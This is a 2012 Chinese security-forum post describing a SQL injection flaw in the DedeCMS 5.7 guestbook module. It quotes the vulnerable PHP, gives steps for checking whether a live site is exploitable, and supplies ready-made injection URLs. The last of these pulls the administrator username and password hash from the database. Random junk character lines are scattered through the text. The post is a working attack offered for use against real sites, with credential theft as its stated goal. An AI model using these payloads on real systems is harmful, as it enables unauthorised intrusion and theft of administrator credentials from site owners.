中国网络渗透测试联盟
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
[打印本页]
作者:
admin
时间:
2012-11-13 13:24
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
( d- k& c u# H2 i
* V7 L7 k! t+ h; s+ M
漏洞文件edit.inc.php具体代码:
0 j) ~& F8 J7 m. |7 ? T- o0 s
5 b" x. O( D4 n1 u
< ?php
& h5 W" a1 U% b; ^
# H2 n9 W4 x: S" k9 D" G# m
if(!defined('DEDEINC')) exit('Request Error!');
0 v4 R7 v5 y* j# e. c3 B& K; h$ S% ?
$ J6 y, d* z {2 N
. \! \. O% |( l3 k5 s8 g$ p' ]
& Y l- T5 E7 l/ ]* D
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
5 ~! x% \/ n1 q1 ]3 q1 ?4 e
; w* C7 ]# H8 b+ ^
else $GUEST_BOOK_POS = "guestbook.php";
1 p7 s! ~) k4 O
7 {5 \2 @- X+ ^" p. y8 R( Q; F% V
& h( V1 j, }! v8 J3 S' O( Q
i2 |% I9 ^. z
$id = intval($id);
1 C$ x. R0 O4 W/ _
5 W4 g/ y% u& d) Y" C& S+ y
if(empty($job)) $job='view';
- L; ?- P1 i) v6 e a! j
1 Q: o3 m _! P8 j& }- E9 i
2 g) d0 L# A( X6 o1 Q ]% E8 f
% x; }- m* M( e
if($job=='del' && $g_isadmin)
3 |# j; `0 u( u5 R- n! t" e; x; p
$ l! [, B: [- n. g
{
; m/ U2 {4 K! R# E$ A
% {3 K# }( F3 Z. g6 F
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
2 u, e7 T l. q" q/ M' ], g
! e( @1 u! i( x* s/ w7 R
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
6 a- s' X# i$ ~ J3 I8 j
- E: `' W( m- n4 x, j
exit();
" C( Q9 h# r( f3 d, Q5 z- x
2 `; o, g! D/ {" t \; @
}
+ N4 ?4 G4 P5 F% G
8 y6 R& x% M1 _8 s5 a
else if($job=='check' && $g_isadmin)
" n4 Z2 @! N4 ` T+ n
- W. y6 p1 ^$ N+ a$ z8 F& [4 _
{
9 M# v+ r" |1 T3 J( _3 X
0 E7 C1 ]8 A( K; c
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
) |) ?+ u4 I( ?
n4 H) o' m/ i+ g2 }# c3 |
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
9 D' o6 G6 W# W4 K# ^* O. g/ Y0 D3 ]
5 u" R, B+ z# @! ?) J, P& \
exit();
# e4 d' B5 [1 }
, D* k+ \6 | e! a6 V
}
6 N( r9 [3 t+ c. y4 @) H* Y
+ ?; @# J f1 T
else if($job=='editok')
5 _; B7 P; [, Q. B3 @6 T7 n
0 {) _& [: ~7 ~7 v6 w8 o8 T! ^! Y- Y
{
8 D- [! }+ @9 M3 q2 b
( e }5 L6 Q2 g+ n- o' R
$remsg = trim($remsg);
. T+ h# @- I. H, V- l& O2 P
8 r6 S' P. P' g6 V. ^% J# `
if($remsg!='')
$ Q9 ]6 W$ Z" Y+ `% j
5 Z. _6 z0 v% t& v
{
; [5 S9 { e8 A; P
2 q. F5 K; X- V2 s% @
//管理员回复不过滤HTML By:Errorera blog:errs.cc
7 v% Q. g! t$ P
; q1 A9 [* H1 N" y: s
if($g_isadmin)
1 N4 T5 B) \! S, Q4 g
" B' C5 Y+ c$ w* W% i/ l7 N" b
{
& l; S Z$ x+ ]9 I' B
& i: z# u. {7 z6 ^" Y& Z
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
* X4 w! b4 M; f% l
7 t9 o: I8 M2 j# n4 k
//$remsg <br /><font color=red>管理员回复:</font> }
+ n/ t" j0 |9 c6 I5 q: ~7 |7 v2 X/ |
. o, }! a; n& C' o
else
& D ]. y! t- F, n/ v$ D
/ F, [/ b0 T* \
{
0 R2 X7 r7 Q j4 Q
+ _) R3 A& i. r8 B9 H3 {4 v
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
. G1 A* V; |6 ]9 w- t5 j
* Z, L6 o( @1 t2 z% q0 _
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
; h1 B# j1 m% ~3 Q
8 _2 k# S, A6 v2 n
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
! N! ]$ U: n7 o$ ^5 G* j0 i7 z k; R5 \
! i" _# Z2 o$ B2 v1 [7 O2 |8 l! z3 O% _1 j
$msg = $oldmsg.$remsg;
- k! s; i0 f. J
' O) V+ ]+ ^1 t0 W9 I5 v
}
4 R& |: V3 `5 t& _5 h4 l8 ^& p1 x
! j7 x: M2 T1 j( W
}
. g7 K; _/ X" k0 q
% B; X& T8 i7 y6 Z; ]4 a
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:
www.errs.cc
9 q9 q2 v( j. D9 q4 A
5 V$ {7 [1 d4 n# r1 c, e
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
* I- n) {; p$ ^4 T1 u" |7 ~7 m, @/ D
2 G8 |( d8 o! U! ^; b5 x: M
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
: w e* T7 S+ Y4 M P$ e
$ Y/ T! M- ^# G9 T0 p: ^( Q& m
exit();
5 P3 |7 E! E% W$ U) @' R3 R
" I1 l0 B1 s! W3 `
}
3 b$ b" d8 k; C5 E5 X+ F/ ^5 h
# m, R r1 O0 M# G$ l9 c# W
//home:
www.errs.cc
8 ]) H+ V, b \3 ]% e1 z% J3 P
( q: `' Y0 z0 y! l( a9 R" d
if($g_isadmin)
4 \8 [) J. f; Y7 l
. ? m0 ]$ ~4 L0 x4 y
{
' z# c2 L% J4 r0 W+ s
1 |4 }/ A W% U6 s( U
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
' Z8 P' @5 X) |# r
% t; n: b# U, B) T! C& F2 C# U- ]
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
# }- R' E8 y6 Z, A
* D- h# ^2 B6 P k& g, y; ?4 ~
}
" I( @) w$ a, q2 `
5 n2 Y' K+ v- a' x% J* P
else
, w% n1 r7 W+ R6 ]5 h% o; i2 {
8 a* s }3 J9 A: U" z# a$ R
{
( S+ @) U' s1 j: y" a
" g7 x4 ?& Z0 C
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
2 p* [, V9 ^* H( d- a% ]9 Y
. {) A9 w9 \0 c! y# o4 x6 s+ K+ |2 x
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
& i! v: [, ?, Q* T
/ e, x: t1 x7 n& Y9 A
} 漏洞成功需要条件:
4 Q. b' r; L% p2 G
1. php magic_quotes_gpc=off
' V+ z+ D' q- U6 z0 B! l/ g% n
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
1 w9 ]; r8 {, ^' O9 B) }% {
, q6 H3 v' ^/ e j0 ~: w5 H
怎么判断是否存在漏洞:
$ R! i( p' `$ W# B4 P
先打开
www.xxx.com/plus/guestbook.php
可以看到别人的留言,
5 w8 Z) T r3 ~" N* s( ]. k. H1 A
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
+ w- u" h, B! H' K
访问:
, f: {9 K+ f; }$ A0 {
; f T. m; A8 m. u* |- D/ C% H/ I: J
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc
存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
% m' V1 F" I9 p: ~; j8 I: L
跳回到
www.xxx.com/plus/guestbook.php
看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
, d% ~# U1 L2 j l, O
/ v& {- g5 o4 ~/ d; b. n
, S' B: o* w& V: }3 k3 A0 c
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
+ {, r0 g. v% ]7 J% M
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
& b: o9 e% E# y0 h2 H
那么再次访问
% o: C& Q1 m* | V3 H d
8 J9 b8 R( R0 H$ R4 s
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=
存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
- R6 B9 @) P5 c# Y
# u* |- |% Q$ S4 [! Q# W7 H
大概利用就是这样,大家有兴趣的多研究下!!
- n( ?9 f) Z+ V7 y/ X
- C* }) \$ ~, P# c5 f& W1 O' ~
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
( D) c/ z$ E9 ~4 b. X' j% U, ^3 ?
1 d0 B9 P# f$ U7 U$ Q
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2